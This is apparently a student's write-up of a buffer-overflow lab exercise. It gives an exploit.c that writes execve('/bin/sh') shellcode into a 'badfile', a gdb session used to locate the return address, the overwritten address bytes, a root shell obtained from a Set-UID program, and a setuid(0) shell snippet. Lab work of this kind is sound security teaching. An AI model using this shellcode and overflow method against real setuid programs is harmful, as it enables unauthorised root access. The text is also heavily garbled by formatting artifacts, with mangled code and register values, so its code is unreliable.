Task$1.$ Exploiting the Vulnerability

We provide you with a partially completed exploit code called "exploit.c$".$ The goal of this code is to construct contents for "badfile". In the code, the shellcode is given to you. You need to develop the rest.

$/*$ exploit.c $*/$

$/*$ A program that creates a file containing code for launching shell$*/$

#include

#include

#include

char shellcode$[]=$

$"\backslash$x$31\backslash$xc$0"/*$ xorl $\%$eax,$\%$eax $*/$

$"\backslash$x$50"/*$ pushl $\%$eax $*/$

$"\backslash$x$68""//$sh$"/*$ pushl $$0$x$68732$f$2$f $*/$

$"\backslash$x$68""/$bin$"/*$ pushl $$0$x$6$e$69622$f $*/$

$"\backslash$x$89\backslash$xe$3"/*$ movl $\%$esp,$\%$ebx $*/$

$"\backslash$x$50"/*$ pushl $\%$eax $*/$

$"\backslash$x$53"/*$ pushl $\%$ebx $*/$

$"\backslash$x$89\backslash$xe$1"/*$ movl $\%$esp,$\%$ecx $*/$

$"\backslash$x$99"/*$ cdq $*/$

$"\backslash$xb$0\backslash$x$0$b$"/*$ movb $$0$x$0$b$,\%$al $*/$

$"\backslash$xcd$\backslash$x$80"/*$ int $$0$x$80*/$

;

void main$($int argc, char $**$argv$)$

$\{$

char buffer$[517]$;

FILE $*$badfile;

$/*$ Initialize buffer with $0$x$90($NOP instruction$)*/$

memset$($&buffer, $0$x$90,517)$;

$/*$ You need to fill the buffer with appropriate contents here $*/$

$/*$ strcpy$($buffer$,"\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$??\backslash$x$??\backslash$x$??\backslash$x$??")$; $*/$

$/*$strcpy$($buffer$+100,$shellcode$)$; $*/$

$/*$ Save the contents to the file "badfile" $*/$

badfile $=$ fopen$("./$badfile$","$w$")$;

fwrite$($buffer$,517,1,$ badfile$)$;

fclose$($badfile$)$;

$\}$

To beginning the attack, we need the address of shellcode.

seed@ubuntu:~$/$Desktop$ gdb $--$quiet stack

Reading symbols from $/$home$/$seed$/$Desktop$/$stack$...($no debugging symbols found$)...$done.

$($gdb$)$ disassemble main

Dump of assembler code for function main:

$0$x$080484$a$3<+0>$: push $\%$ebp

$0$x$080484$a$4<+1>$: mov $\%$esp,$\%$ebp

$0$x$080484$a$6<+3>$: and $$0$xfffffff$0,\%$esp

$0$x$080484$a$9<+6>$: sub $$0$x$220,\%$esp

$0$x$080484$af $<+12>$: mov $$0$x$80485$f$0,\%$edx

$0$x$080484$b$4<+17>$: mov $$0$x$80485$f$2,\%$eax

$0$x$080484$b$9<+22>$: mov $\%$edx,$0$x$4(\%$esp$)$

$0$x$080484$bd $<+26>$: mov $\%$eax,$(\%$esp$)$

$0$x$080484$c$0<+29>$: call $0$x$80483$c$0$

$0$x$080484$c$5<+34>$: mov $\%$eax,$0$x$21$c$(\%$esp$)$

$0$x$080484$cc $<+41>$: lea $0$x$17(\%$esp$),\%$eax

$0$x$080484$d$0<+45>$: mov $0$x$21$c$(\%$esp$),\%$edx

$0$x$080484$d$7<+52>$: mov $\%$edx,$0$xc$(\%$esp$)$

$0$x$080484$db $<+56>$: movl $$0$x$205,0$x$8(\%$esp$)$

$0$x$080484$e$3<+64>$: movl $$0$x$1,0$x$4(\%$esp$)$

$0$x$080484$eb $<+72>$: mov $\%$eax,$(\%$esp$)$

$0$x$080484$ee $<+75>$: call $0$x$8048370$

$0$x$080484$f$3<+80>$: lea $0$x$17(\%$esp$),\%$eax

$0$x$080484$f$7<+84>$: mov $\%$eax,$(\%$esp$)$

$0$x$080484$fa $<+87>$: call $0$x$8048484$

$0$x$080484$ff $<+92>$: movl $$0$x$80485$fa$,(\%$esp$)$

$0$x$08048506<+99>$: call $0$x$8048390$

$0$x$0804850$b $<+104>$: mov $$0$x$1,\%$eax

$0$x$08048510<+109>$: leave

$0$x$08048511<+110>$: ret

End of assembler dump.

$($gdb$)$ b $*0$x$080484$af

Breakpoint $1$ at $0$x$80484$af

$($gdb$)$ r

Starting program: $/$home$/$seed$/$Desktop$/$stack

Breakpoint $1,0$x$080484$af in main $()$

$($gdb$)$ i r $esp

esp $0$xbffff$1500$xbffff$150$

We know esp's value is the beginning address of str$,$ according to strcpy$($buffer$+100,$shellcode$)$;$,$ we can calculate shellcode's address is $0$xbffff$150($HEX$)+100($DEC$)=0$xbffff$1$b$4($HEX$).$

We replace $\backslash$x$??\backslash$x$??\backslash$x$??\backslash$x$??$ to $\backslash$xb$4\backslash$xf$1\backslash$xff$\backslash$xbf$,$ because when buffer overflow happened this place's return address will be overwrite.

After we finish the above program, compile and run it$.$ This will generate the contents for "badfile". Then run the vulnerable program stack. If our exploit is implemented correctly, we should be able to get a root shell.

$[08/10/201605$:$56]$ seed@ubuntu:~$/$Desktop$ $./$exploit

$[08/10/201605$:$56]$ seed@ubuntu:~$/$Desktop$ $./$stack

# whoami

root

Many commands will behave differently if they are executed as Set$-$UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

void main$()$

$\{$

setuid$(0)$; system$("/$bin$/$sh$")$;

$\}$ please provide screenshot